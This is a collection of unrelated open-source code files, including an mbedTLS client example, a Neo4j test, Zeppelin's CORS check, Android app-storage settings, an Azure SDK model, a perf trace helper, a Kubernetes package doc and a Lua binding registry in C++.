mbedtls_ctr_drbg_random, &ctr_drbg ); mbedtls_ssl_conf_dbg( &conf, my_debug, stdout ); if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_ssl_setup returned %d\n\n", ret ); goto ssl_exit; } if( ( ret = mbedtls_ssl_set_hostname( &ssl, opt.server_name ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_ssl_set_hostname returned %d\n\n", ret ); goto ssl_exit; } mbedtls_ssl_set_bio( &ssl, &server_fd, mbedtls_net_send, mbedtls_net_recv, NULL ); /* * 4. Handshake */ while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 ) { if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE ) { mbedtls_printf( " failed\n ! mbedtls_ssl_handshake returned %d\n\n", ret ); goto ssl_exit; } } mbedtls_printf( " ok\n" ); /* * 5. Print the certificate */ mbedtls_printf( " . Peer certificate information ...\n" ); ret = mbedtls_x509_crt_info( (char *) buf, sizeof( buf ) - 1, " ", ssl.session->peer_cert ); if( ret == -1 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crt_info returned %d\n\n", ret ); goto ssl_exit; } mbedtls_printf( "%s\n", buf ); mbedtls_ssl_close_notify( &ssl ); ssl_exit: mbedtls_ssl_free( &ssl ); mbedtls_ssl_config_free( &conf ); } else goto usage; exit: mbedtls_net_free( &server_fd ); mbedtls_x509_crt_free( &cacert ); #if defined(MBEDTLS_X509_CRL_PARSE_C) mbedtls_x509_crl_free( &cacrl ); #endif mbedtls_ctr_drbg_free( &ctr_drbg ); mbedtls_entropy_free( &entropy ); #if defined(_WIN32) mbedtls_printf( " + Press Enter to exit this program.\n" ); fflush( stdout ); getchar(); #endif if( ret < 0 ) ret = 1; return( ret ); } #endif /* MBEDTLS_BIGNUM_C && MBEDTLS_ENTROPY_C && MBEDTLS_SSL_TLS_C && MBEDTLS_SSL_CLI_C && MBEDTLS_NET_C && MBEDTLS_RSA_C && MBEDTLS_X509_CRT_PARSE_C && MBEDTLS_FS_IO && MBEDTLS_CTR_DRBG_C */
{ "pile_set_name": "Github" }
/** * Copyright (C) 2014 The SciGraph authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.scigraph.neo4j; import static com.google.common.collect.Iterables.size; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.is; import io.scigraph.neo4j.Graph; import io.scigraph.neo4j.GraphBatchImpl; import io.scigraph.neo4j.IdMap; import io.scigraph.neo4j.RelationshipMap; import java.io.File; import java.io.IOException; import java.util.Collections; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TemporaryFolder; import org.mapdb.DB; import org.mapdb.DBMaker; import org.neo4j.graphdb.GraphDatabaseService; import org.neo4j.graphdb.Node; import org.neo4j.graphdb.Relationship; import org.neo4j.graphdb.RelationshipType; import org.neo4j.graphdb.Transaction; import org.neo4j.graphdb.factory.GraphDatabaseFactory; import org.neo4j.graphdb.index.ReadableIndex; import org.neo4j.unsafe.batchinsert.BatchInserter; import org.neo4j.unsafe.batchinsert.BatchInserters; public class GraphBatchImplMultipleLoadTest { private static final RelationshipType TYPE = RelationshipType.withName("type"); @Rule public TemporaryFolder folder = new TemporaryFolder(); String path; GraphDatabaseService graphDb; ReadableIndex<Node> nodeIndex; DB maker; @Before public void setup() throws IOException { path = folder.newFolder().getAbsolutePath(); maker = DBMaker.newMemoryDB().make(); } Graph getBatchGraph() throws IOException { BatchInserter inserter = BatchInserters.inserter(new File(path)); return new GraphBatchImpl(inserter, "uri", Collections.<String>emptySet(), Collections.<String>emptySet(), new IdMap(maker), new RelationshipMap(maker)); } GraphDatabaseService getGraphDB() { graphDb = new GraphDatabaseFactory().newEmbeddedDatabase(new File(path)); return graphDb; } @Test public void testMultipleInserts() throws IOException { Graph batchGraph = getBatchGraph(); long a = batchGraph.createNode("a"); long b = batchGraph.createNode("b"); batchGraph.createRelationship(a, b, TYPE); batchGraph.shutdown(); batchGraph = getBatchGraph(); a = batchGraph.createNode("a"); long c = batchGraph.createNode("c"); batchGraph.createRelationship(a, c, TYPE); batchGraph.shutdown(); GraphDatabaseService graphDb = getGraphDB(); try (Transaction tx = graphDb.beginTx()) { Iterable<Node> nodes = graphDb.getAllNodes(); assertThat(size(nodes), is(3)); Iterable<Relationship> relationships = graphDb.getAllRelationships(); assertThat(size(relationships), is(2)); tx.success(); } } }
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.zeppelin.utils; import java.net.InetAddress; import java.net.URI; import java.net.URISyntaxException; import java.net.UnknownHostException; import org.apache.zeppelin.conf.ZeppelinConfiguration; public class CorsUtils { public static Boolean isValidOrigin(String sourceHost, ZeppelinConfiguration conf) throws UnknownHostException, URISyntaxException { String sourceUriHost = ""; if (sourceHost != null && !sourceHost.isEmpty()) { sourceUriHost = new URI(sourceHost).getHost(); sourceUriHost = (sourceUriHost == null) ? "" : sourceUriHost.toLowerCase(); } sourceUriHost = sourceUriHost.toLowerCase(); String currentHost = InetAddress.getLocalHost().getHostName().toLowerCase(); return conf.getAllowedOrigins().contains("*") || currentHost.equals(sourceUriHost) || "localhost".equals(sourceUriHost) || conf.getAllowedOrigins().contains(sourceHost); } }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2015 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.settings.applications; import android.app.ActivityManager; import android.app.AlertDialog; import android.app.AppGlobals; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.UriPermission; import android.content.pm.ApplicationInfo; import android.content.pm.IPackageDataObserver; import android.content.pm.PackageManager; import android.content.pm.ProviderInfo; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.Message; import android.os.RemoteException; import android.os.UserHandle; import android.os.storage.StorageManager; import android.os.storage.VolumeInfo; import android.support.v7.preference.Preference; import android.support.v7.preference.PreferenceCategory; import android.text.format.Formatter; import android.util.Log; import android.util.MutableInt; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import com.android.internal.logging.MetricsProto.MetricsEvent; import com.android.settings.R; import com.android.settings.Utils; import com.android.settings.deviceinfo.StorageWizardMoveConfirm; import com.android.settingslib.RestrictedLockUtils; import com.android.settingslib.applications.ApplicationsState; import com.android.settingslib.applications.ApplicationsState.AppEntry; import com.android.settingslib.applications.ApplicationsState.Callbacks; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.TreeMap; import static android.content.pm.ApplicationInfo.FLAG_ALLOW_CLEAR_USER_DATA; import static android.content.pm.ApplicationInfo.FLAG_SYSTEM; public class AppStorageSettings extends AppInfoWithHeader implements OnClickListener, Callbacks, DialogInterface.OnClickListener { private static final String TAG = AppStorageSettings.class.getSimpleName(); //internal constants used in Handler private static final int OP_SUCCESSFUL = 1; private static final int OP_FAILED = 2; private static final int MSG_CLEAR_USER_DATA = 1; private static final int MSG_CLEAR_CACHE = 3; // invalid size value used initially and also when size retrieval through PackageManager // fails for whatever reason private static final int SIZE_INVALID = -1; // Result code identifiers public static final int REQUEST_MANAGE_SPACE = 2; private static final int DLG_CLEAR_DATA = DLG_BASE + 1; private static final int DLG_CANNOT_CLEAR_DATA = DLG_BASE + 2; private static final String KEY_STORAGE_USED = "storage_used"; private static final String KEY_CHANGE_STORAGE = "change_storage_button"; private static final String KEY_STORAGE_SPACE = "storage_space"; private static final String KEY_STORAGE_CATEGORY = "storage_category"; private static final String KEY_TOTAL_SIZE = "total_size"; private static final String KEY_APP_SIZE = "app_size"; private static final String KEY_EXTERNAL_CODE_SIZE = "external_code_size"; private static final String KEY_DATA_SIZE = "data_size"; private static final String KEY_EXTERNAL_DATA_SIZE = "external_data_size"; private static final String KEY_CACHE_SIZE = "cache_size"; private static final String KEY_CLEAR_DATA = "clear_data_button"; private static final String KEY_CLEAR_CACHE = "clear_cache_button"; private static final String KEY_URI_CATEGORY = "uri_category"; private static final String KEY_CLEAR_URI = "clear_uri_button"; private Preference mTotalSize; private Preference mAppSize; private Preference mDataSize; private Preference mExternalCodeSize; private Preference mExternalDataSize; // Views related to cache info private Preference mCacheSize; private Button mClearDataButton; private Button mClearCacheButton; private Preference mStorageUsed; private Button mChangeStorageButton; // Views related to URI permissions private Button mClearUriButton; private LayoutPreference mClearUri; private PreferenceCategory mUri; private boolean mCanClearData = true; private boolean mHaveSizes = false; private long mLastCodeSize = -1; private long mLastDataSize = -1; private long mLastExternalCodeSize = -1; private long mLastExternalDataSize = -1; private long mLastCacheSize = -1; private long mLastTotalSize = -1; private ClearCacheObserver mClearCacheObserver; private ClearUserDataObserver mClearDataObserver; // Resource strings private CharSequence mInvalidSizeStr; private CharSequence mComputingStr; private VolumeInfo[] mCandidates; private AlertDialog.Builder mDialogBuilder; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); addPreferencesFromResource(R.xml.app_storage_settings); setupViews(); initMoveDialog(); } @Override public void onResume() { super.onResume(); mState.requestSize(mPackageName, mUserId); } private void setupViews() { mComputingStr = getActivity().getText(R.string.computing_size); mInvalidSizeStr = getActivity().getText(R.string.invalid_size_value); // Set default values on sizes mTotalSize = findPreference(KEY_TOTAL_SIZE); mAppSize = findPreference(KEY_APP_SIZE); mDataSize = findPreference(KEY_DATA_SIZE); mExternalCodeSize = findPreference(KEY_EXTERNAL_CODE_SIZE); mExternalDataSize = findPreference(KEY_EXTERNAL_DATA_SIZE); if (Environment.isExternalStorageEmulated()) { PreferenceCategory category = (PreferenceCategory) findPreference(KEY_STORAGE_CATEGORY); category.removePreference(mExternalCodeSize); category.removePreference(mExternalDataSize); } mClearDataButton = (Button) ((LayoutPreference) findPreference(KEY_CLEAR_DATA)) .findViewById(R.id.button); mStorageUsed = findPreference(KEY_STORAGE_USED); mChangeStorageButton = (Button) ((LayoutPreference) findPreference(KEY_CHANGE_STORAGE)) .findViewById(R.id.button); mChangeStorageButton.setText(R.string.change); mChangeStorageButton.setOnClickListener(this); // Cache section mCacheSize = findPreference(KEY_CACHE_SIZE); mClearCacheButton = (Button) ((LayoutPreference) findPreference(KEY_CLEAR_CACHE)) .findViewById(R.id.button); mClearCacheButton.setText(R.string.clear_cache_btn_text); // URI permissions section mUri = (PreferenceCategory) findPreference(KEY_URI_CATEGORY); mClearUri = (LayoutPreference) mUri.findPreference(KEY_CLEAR_URI); mClearUriButton = (Button) mClearUri.findViewById(R.id.button); mClearUriButton.setText(R.string.clear_uri_btn_text); mClearUriButton.setOnClickListener(this); } @Override public void onClick(View v) { if (v == mClearCacheButton) { if (mAppsControlDisallowedAdmin != null && !mAppsControlDisallowedBySystem) { RestrictedLockUtils.sendShowAdminSupportDetailsIntent( getActivity(), mAppsControlDisallowedAdmin); return; } else if (mClearCacheObserver == null) { // Lazy initialization of observer mClearCacheObserver = new ClearCacheObserver(); } mPm.deleteApplicationCacheFiles(mPackageName, mClearCacheObserver); } else if (v == mClearDataButton) { if (mAppsControlDisallowedAdmin != null && !mAppsControlDisallowedBySystem) { RestrictedLockUtils.sendShowAdminSupportDetailsIntent( getActivity(), mAppsControlDisallowedAdmin); } else if (mAppEntry.info.manageSpaceActivityName != null) { if (!Utils.isMonkeyRunning()) { Intent intent = new Intent(Intent.ACTION_DEFAULT); intent.setClassName(mAppEntry.info.packageName, mAppEntry.info.manageSpaceActivityName); startActivityForResult(intent, REQUEST_MANAGE_SPACE); } } else { showDialogInner(DLG_CLEAR_DATA, 0); } } else if (v == mChangeStorageButton && mDialogBuilder != null && !isMoveInProgress()) { mDialogBuilder.show(); } else if (v == mClearUriButton) { if (mAppsControlDisallowedAdmin != null && !mAppsControlDisallowedBySystem) { RestrictedLockUtils.sendShowAdminSupportDetailsIntent( getActivity(), mAppsControlDisallowedAdmin); } else { clearUriPermissions(); } } } private boolean isMoveInProgress() { try { // TODO: define a cleaner API for this AppGlobals.getPackageManager().checkPackageStartable(mPackageName, UserHandle.myUserId()); return false; } catch (RemoteException | SecurityException e) { return true; } } @Override public void onClick(DialogInterface dialog, int which) { final Context context = getActivity(); // If not current volume, kick off move wizard final VolumeInfo targetVol = mCandidates[which]; final VolumeInfo currentVol = context.getPackageManager().getPackageCurrentVolume( mAppEntry.info); if (!Objects.equals(targetVol, currentVol)) { final Intent intent = new Intent(context, StorageWizardMoveConfirm.class); intent.putExtra(VolumeInfo.EXTRA_VOLUME_ID, targetVol.getId()); intent.putExtra(Intent.EXTRA_PACKAGE_NAME, mAppEntry.info.packageName); startActivity(intent); } dialog.dismiss(); } private String getSizeStr(long size) { if (size == SIZE_INVALID) { return mInvalidSizeStr.toString(); } return Formatter.formatFileSize(getActivity(), size); } private void refreshSizeInfo() { if (mAppEntry.size == ApplicationsState.SIZE_INVALID || mAppEntry.size == ApplicationsState.SIZE_UNKNOWN) { mLastCodeSize = mLastDataSize = mLastCacheSize = mLastTotalSize = -1; if (!mHaveSizes) { mAppSize.setSummary(mComputingStr); mDataSize.setSummary(mComputingStr); mCacheSize.setSummary(mComputingStr); mTotalSize.setSummary(mComputingStr); } mClearDataButton.setEnabled(false); mClearCacheButton.setEnabled(false); } else { mHaveSizes = true; long codeSize = mAppEntry.codeSize; long dataSize = mAppEntry.dataSize; if (Environment.isExternalStorageEmulated()) { codeSize += mAppEntry.externalCodeSize; dataSize += mAppEntry.externalDataSize; } else { if (mLastExternalCodeSize != mAppEntry.externalCodeSize) { mLastExternalCodeSize = mAppEntry.externalCodeSize; mExternalCodeSize.setSummary(getSizeStr(mAppEntry.externalCodeSize)); } if (mLastExternalDataSize != mAppEntry.externalDataSize) { mLastExternalDataSize = mAppEntry.externalDataSize; mExternalDataSize.setSummary(getSizeStr( mAppEntry.externalDataSize)); } } if (mLastCodeSize != codeSize) { mLastCodeSize = codeSize; mAppSize.setSummary(getSizeStr(codeSize)); } if (mLastDataSize != dataSize) { mLastDataSize = dataSize; mDataSize.setSummary(getSizeStr(dataSize)); } long cacheSize = mAppEntry.cacheSize + mAppEntry.externalCacheSize; if (mLastCacheSize != cacheSize) { mLastCacheSize = cacheSize; mCacheSize.setSummary(getSizeStr(cacheSize)); } if (mLastTotalSize != mAppEntry.size) { mLastTotalSize = mAppEntry.size; mTotalSize.setSummary(getSizeStr(mAppEntry.size)); } if ((mAppEntry.dataSize+ mAppEntry.externalDataSize) <= 0 || !mCanClearData) { mClearDataButton.setEnabled(false); } else { mClearDataButton.setEnabled(true); mClearDataButton.setOnClickListener(this); } if (cacheSize <= 0) { mClearCacheButton.setEnabled(false); } else { mClearCacheButton.setEnabled(true); mClearCacheButton.setOnClickListener(this); } } if (mAppsControlDisallowedBySystem) { mClearCacheButton.setEnabled(false); mClearDataButton.setEnabled(false); } } @Override protected boolean refreshUi() { retrieveAppEntry(); if (mAppEntry == null) { return false; } refreshSizeInfo(); refreshGrantedUriPermissions(); final VolumeInfo currentVol = getActivity().getPackageManager() .getPackageCurrentVolume(mAppEntry.info); final StorageManager storage = getContext().getSystemService(StorageManager.class); mStorageUsed.setSummary(storage.getBestVolumeDescription(currentVol)); refreshButtons(); return true; } private void refreshButtons() { initMoveDialog(); initDataButtons(); } private void initDataButtons() { final boolean appHasSpaceManagementUI = mAppEntry.info.manageSpaceActivityName != null; final boolean appHasActiveAdmins = mDpm.packageHasActiveAdmins(mPackageName); // Check that SYSTEM_APP flag is set, and ALLOW_CLEAR_USER_DATA is not set. final boolean isNonClearableSystemApp = (mAppEntry.info.flags & (FLAG_SYSTEM | FLAG_ALLOW_CLEAR_USER_DATA)) == FLAG_SYSTEM; final boolean appRestrictsClearingData = isNonClearableSystemApp || appHasActiveAdmins; final Intent intent = new Intent(Intent.ACTION_DEFAULT); if (appHasSpaceManagementUI) { intent.setClassName(mAppEntry.info.packageName, mAppEntry.info.manageSpaceActivityName); } final boolean isManageSpaceActivityAvailable = getPackageManager().resolveActivity(intent, 0) != null; if ((!appHasSpaceManagementUI && appRestrictsClearingData) || !isManageSpaceActivityAvailable) { mClearDataButton.setText(R.string.clear_user_data_text); mClearDataButton.setEnabled(false); mCanClearData = false; } else { if (appHasSpaceManagementUI) { mClearDataButton.setText(R.string.manage_space_text); } else { mClearDataButton.setText(R.string.clear_user_data_text); } mClearDataButton.setOnClickListener(this); } if (mAppsControlDisallowedBySystem) { mClearDataButton.setEnabled(false); } } private void initMoveDialog() { final Context context = getActivity(); final StorageManager storage = context.getSystemService(StorageManager.class); final List<VolumeInfo> candidates = context.getPackageManager() .getPackageCandidateVolumes(mAppEntry.info); if (candidates.size() > 1) { Collections.sort(candidates, VolumeInfo.getDescriptionComparator()); CharSequence[] labels = new CharSequence[candidates.size()]; int current = -1; for (int i = 0; i < candidates.size(); i++) { final String volDescrip = storage.getBestVolumeDescription(candidates.get(i)); if (Objects.equals(volDescrip, mStorageUsed.getSummary())) { current = i; } labels[i] = volDescrip; } mCandidates = candidates.toArray(new VolumeInfo[candidates.size()]); mDialogBuilder = new AlertDialog.Builder(getContext()) .setTitle(R.string.change_storage) .setSingleChoiceItems(labels, current, this) .setNegativeButton(R.string.cancel, null); } else { removePreference(KEY_STORAGE_USED); removePreference(KEY_CHANGE_STORAGE); removePreference(KEY_STORAGE_SPACE); } } /* * Private method to initiate clearing user data when the user clicks the clear data * button for a system package */ private void initiateClearUserData() { mClearDataButton.setEnabled(false); // Invoke uninstall or clear user data based on sysPackage String packageName = mAppEntry.info.packageName; Log.i(TAG, "Clearing user data for package : " + packageName); if (mClearDataObserver == null) { mClearDataObserver = new ClearUserDataObserver(); } ActivityManager am = (ActivityManager) getActivity().getSystemService(Context.ACTIVITY_SERVICE); boolean res = am.clearApplicationUserData(packageName, mClearDataObserver); if (!res) { // Clearing data failed for some obscure reason. Just log error for now Log.i(TAG, "Couldnt clear application user data for package:"+packageName); showDialogInner(DLG_CANNOT_CLEAR_DATA, 0); } else { mClearDataButton.setText(R.string.recompute_size); } } /* * Private method to handle clear message notification from observer when * the async operation from PackageManager is complete */ private void processClearMsg(Message msg) { int result = msg.arg1; String packageName = mAppEntry.info.packageName; mClearDataButton.setText(R.string.clear_user_data_text); if (result == OP_SUCCESSFUL) { Log.i(TAG, "Cleared user data for package : "+packageName); mState.requestSize(mPackageName, mUserId); } else { mClearDataButton.setEnabled(true); } } private void refreshGrantedUriPermissions() { // Clear UI first (in case the activity has been resumed) removeUriPermissionsFromUi(); // Gets all URI permissions from am. ActivityManager am = (ActivityManager) getActivity().getSystemService( Context.ACTIVITY_SERVICE); List<UriPermission> perms = am.getGrantedUriPermissions(mAppEntry.info.packageName).getList(); if (perms.isEmpty()) { mClearUriButton.setVisibility(View.GONE); return; } PackageManager pm = getActivity().getPackageManager(); // Group number of URIs by app. Map<CharSequence, MutableInt> uriCounters = new TreeMap<>(); for (UriPermission perm : perms) { String authority = perm.getUri().getAuthority(); ProviderInfo provider = pm.resolveContentProvider(authority, 0); CharSequence app = provider.applicationInfo.loadLabel(pm); MutableInt count = uriCounters.get(app); if (count == null) { uriCounters.put(app, new MutableInt(1)); } else { count.value++; } } // Dynamically add the preferences, one per app. int order = 0; for (Map.Entry<CharSequence, MutableInt> entry : uriCounters.entrySet()) { int numberResources = entry.getValue().value; Preference pref = new Preference(getPrefContext()); pref.setTitle(entry.getKey()); pref.setSummary(getPrefContext().getResources() .getQuantityString(R.plurals.uri_permissions_text, numberResources, numberResources)); pref.setSelectable(false); pref.setLayoutResource(R.layout.horizontal_preference); pref.setOrder(order); Log.v(TAG, "Adding preference '" + pref + "' at order " + order); mUri.addPreference(pref); } if (mAppsControlDisallowedBySystem) { mClearUriButton.setEnabled(false); } mClearUri.setOrder(order); mClearUriButton.setVisibility(View.VISIBLE); } private void clearUriPermissions() { // Synchronously revoke the permissions. final ActivityManager am = (ActivityManager) getActivity().getSystemService( Context.ACTIVITY_SERVICE); am.clearGrantedUriPermissions(mAppEntry.info.packageName); // Update UI refreshGrantedUriPermissions(); } private void removeUriPermissionsFromUi() { // Remove all preferences but the clear button. int count = mUri.getPreferenceCount(); for (int i = count - 1; i >= 0; i--) { Preference pref = mUri.getPreference(i); if (pref != mClearUri) { mUri.removePreference(pref); } } } @Override protected AlertDialog createDialog(int id, int errorCode) { switch (id) { case DLG_CLEAR_DATA: return new AlertDialog.Builder(getActivity()) .setTitle(getActivity().getText(R.string.clear_data_dlg_title)) .setMessage(getActivity().getText(R.string.clear_data_dlg_text)) .setPositiveButton(R.string.dlg_ok, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { // Clear user data here initiateClearUserData(); } }) .setNegativeButton(R.string.dlg_cancel, null) .create(); case DLG_CANNOT_CLEAR_DATA: return new AlertDialog.Builder(getActivity()) .setTitle(getActivity().getText(R.string.clear_failed_dlg_title)) .setMessage(getActivity().getText(R.string.clear_failed_dlg_text)) .setNeutralButton(R.string.dlg_ok, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { mClearDataButton.setEnabled(false); //force to recompute changed value setIntentAndFinish(false, false); } }) .create(); } return null; } @Override public void onPackageSizeChanged(String packageName) { if (mAppEntry == null || mAppEntry.info == null) { return; } else if (packageName.equals(mAppEntry.info.packageName)) { refreshSizeInfo(); } } private final Handler mHandler = new Handler() { public void handleMessage(Message msg) { if (getView() == null) { return; } switch (msg.what) { case MSG_CLEAR_USER_DATA: processClearMsg(msg); break; case MSG_CLEAR_CACHE: // Refresh size info mState.requestSize(mPackageName, mUserId); break; } } }; public static CharSequence getSummary(AppEntry appEntry, Context context) { if (appEntry.size == ApplicationsState.SIZE_INVALID || appEntry.size == ApplicationsState.SIZE_UNKNOWN) { return context.getText(R.string.computing_size); } else { CharSequence storageType = context.getString( (appEntry.info.flags & ApplicationInfo.FLAG_EXTERNAL_STORAGE) != 0 ? R.string.storage_type_external : R.string.storage_type_internal); return context.getString(R.string.storage_summary_format, getSize(appEntry, context), storageType); } } private static CharSequence getSize(AppEntry appEntry, Context context) { long size = appEntry.size; if (size == SIZE_INVALID) { return context.getText(R.string.invalid_size_value); } return Formatter.formatFileSize(context, size); } @Override protected int getMetricsCategory() { return MetricsEvent.APPLICATIONS_APP_STORAGE; } class ClearCacheObserver extends IPackageDataObserver.Stub { public void onRemoveCompleted(final String packageName, final boolean succeeded) { final Message msg = mHandler.obtainMessage(MSG_CLEAR_CACHE); msg.arg1 = succeeded ? OP_SUCCESSFUL : OP_FAILED; mHandler.sendMessage(msg); } } class ClearUserDataObserver extends IPackageDataObserver.Stub { public void onRemoveCompleted(final String packageName, final boolean succeeded) { final Message msg = mHandler.obtainMessage(MSG_CLEAR_USER_DATA); msg.arg1 = succeeded ? OP_SUCCESSFUL : OP_FAILED; mHandler.sendMessage(msg); } } }
{ "pile_set_name": "Github" }
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class Sku(Model): """SKU of the namespace. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar name: Required. Name of this SKU. Default value: "Standard" . :vartype name: str :param tier: The tier of this SKU. Possible values include: 'Standard' :type tier: str or ~azure.mgmt.relay.models.SkuTier """ _validation = { 'name': {'required': True, 'constant': True}, } _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'tier': {'key': 'tier', 'type': 'SkuTier'}, } name = "Standard" def __init__(self, *, tier=None, **kwargs) -> None: super(Sku, self).__init__(**kwargs) self.tier = tier
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: LGPL-2.1 // Copyright (C) 2018, Red Hat Inc, Arnaldo Carvalho de Melo <acme@redhat.com> #include "trace/beauty/beauty.h" #include <uapi/linux/fs.h> static size_t renameat2__scnprintf_flags(unsigned long flags, char *bf, size_t size, bool show_prefix) { #include "trace/beauty/generated/rename_flags_array.c" static DEFINE_STRARRAY(rename_flags, "RENAME_"); return strarray__scnprintf_flags(&strarray__rename_flags, bf, size, show_prefix, flags); } size_t syscall_arg__scnprintf_renameat2_flags(char *bf, size_t size, struct syscall_arg *arg) { unsigned long flags = arg->val; return renameat2__scnprintf_flags(flags, bf, size, arg->show_string_prefix); }
{ "pile_set_name": "Github" }
/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // +k8s:deepcopy-gen=package,register // +k8s:openapi-gen=true package policy
{ "pile_set_name": "Github" }
/* Copyright 2013 KLab Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "ILuaFuncLib.h" ILuaFuncLib * ILuaFuncLib::m_begin = NULL; ILuaFuncLib * ILuaFuncLib::m_end = NULL; ILuaFuncLib::ILuaFuncLib() {} ILuaFuncLib::ILuaFuncLib(DEFCONST * arrCmdItem){ addLink(arrCmdItem); } ILuaFuncLib::~ILuaFuncLib() { if(m_pPrev) { m_pPrev->m_pNext = m_pNext; } else { m_begin = m_pNext; } if(m_pNext) { m_pNext->m_pPrev = m_pPrev; } else { m_end = m_pPrev; } } bool ILuaFuncLib::exist() { return true; } void ILuaFuncLib::destroyResources() {} bool ILuaFuncLib::dumpObjects(IPlatformRequest& /*pForm*/) { return false; } void ILuaFuncLib::addLink(DEFCONST * arrCmdItem) { m_arrCmdItem = arrCmdItem; m_pPrev = NULL; m_pNext = m_begin; if(m_pNext) { m_pNext->m_pPrev = this; } else { m_end = this; } m_begin = this; } void ILuaFuncLib::registLib(lua_State * L) { m_L = L; addLibrary(); // 関数群定義が書かれている筈の関数を呼び出す registConst(); // 指定された定数リストを読んで定義する } void ILuaFuncLib::registConst() { IPlatformRequest& pfif = CPFInterface::getInstance().platform(); // 定数定義リストが与えられていなければ、行う処理はない。 DEFCONST * pConst; for(pConst = m_arrCmdItem; pConst && pConst->name; pConst++) { lua_getglobal(m_L, pConst->name); if(!lua_isnil(m_L, -1)) { lua_pop(m_L, 1); // 指定されたグローバルラベルがnilではないということは、 // 同名で値が定義済みであるため、エラーを出す。 DEBUG_PRINT("[LIB REGISTRATION ERROR] %s it is redefined.\n", pConst->name); continue; } lua_pop(m_L, 1); lua_pushinteger(m_L, pConst->cmd); lua_setglobal(m_L, pConst->name); pfif.logging("\t\t[def] %s = %d", pConst->name, pConst->cmd); } } void ILuaFuncLib::addFunction(const char * luaFuncName, int (*func)(lua_State * L)) { lua_register(m_L, luaFuncName, func); DEBUG_PRINT(" [func] %s", luaFuncName); } bool ILuaFuncLib::registAllLibs(lua_State * L) { ILuaFuncLib * pLib = m_begin; IPlatformRequest& pfif = CPFInterface::getInstance().platform(); // オブジェクトダンプ関数を登録する lua_register(L, "LuaLibDUMP", ILuaFuncLib::luaDumpObjects); pfif.logging("<<<supported Lua functions>>>"); while(pLib) { pLib->registLib(L); pLib = pLib->m_pNext; } return true; } void ILuaFuncLib::destroyAllResources() { ILuaFuncLib * pLib = m_begin; while(pLib) { pLib->destroyResources(); pLib = pLib->m_pNext; } } int ILuaFuncLib::luaDumpObjects(lua_State * L) { CLuaState lua(L); // この関数について、引数は一切考慮しない。 // 全ての引数を無視する。 IPlatformRequest& pForm = CPFInterface::getInstance().platform(); ILuaFuncLib * pLib = m_begin; while(pLib) { pLib->dumpObjects(pForm); pLib = pLib->m_pNext; } lua.retBool(true); return 1; }
{ "pile_set_name": "Github" }
